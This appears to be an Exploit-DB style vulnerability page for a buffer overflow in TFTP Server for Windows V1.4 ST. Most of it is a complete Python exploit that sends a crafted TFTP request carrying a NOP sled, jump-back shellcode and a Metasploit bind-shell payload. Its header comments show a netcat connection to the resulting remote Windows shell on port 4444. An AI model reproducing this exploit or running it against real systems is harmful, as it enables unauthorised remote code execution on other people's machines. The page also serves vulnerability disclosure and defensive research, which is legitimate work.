TFTP Server for Windows V1.4 ST (0day)

vendor:

TFTP Server for Windows

by:

Mati Aharoni

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: TFTP Server for Windows

Affected Version From: V1.4 ST

Affected Version To: V1.4 ST

Patch Exists: YES

Related CWE: N/A

CPE: a:sourceforge:tftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista SP0

2006

TFTP Server for Windows V1.4 ST (0day)

A buffer overflow vulnerability exists in the TFTP Server for Windows V1.4 ST, which could allow an attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to insufficient bounds checking of user-supplied data, which can be exploited by sending a specially crafted packet to the TFTP server. Successful exploitation could result in arbitrary code execution with the privileges of the TFTP service.

Mitigation:

Upgrade to the latest version of TFTP Server for Windows V1.4 ST.

Source

Exploit-DB raw data:

#!/usr/bin/python
# TFTP Server for Windows V1.4 ST (0day)
# http://sourceforge.net/projects/tftp-server/
# Tested on Windows Vista SP0.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt
##################################################################
# bt ~ # sourceforge-tftpd.py
# [*] TFTP Server for Windows V1.4 ST (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.134 4444
# (UNKNOWN) [172.16.167.134] 4444 (krb524) open
# Microsoft Windows [Version 6.0.6000]
# Copyright (c) 2006 Microsoft Corporation.  All 
# rights reserved.
#
# C:\Windows\system32>
##################################################################

import socket
import sys

print "[*] TFTP Server for Windows V1.4 ST (0day)"
print "[*] http://www.offensive-security.com"

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

# Jump back shellcode
sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"

# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444

shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
"\xff\xd0")

filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" + "\x2b\x0e\x41"

mode = "netascii"

muha = "\x00\x02" + filename+ "\0" + mode+ "\0" 

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

# milw0rm.com [2008-03-26]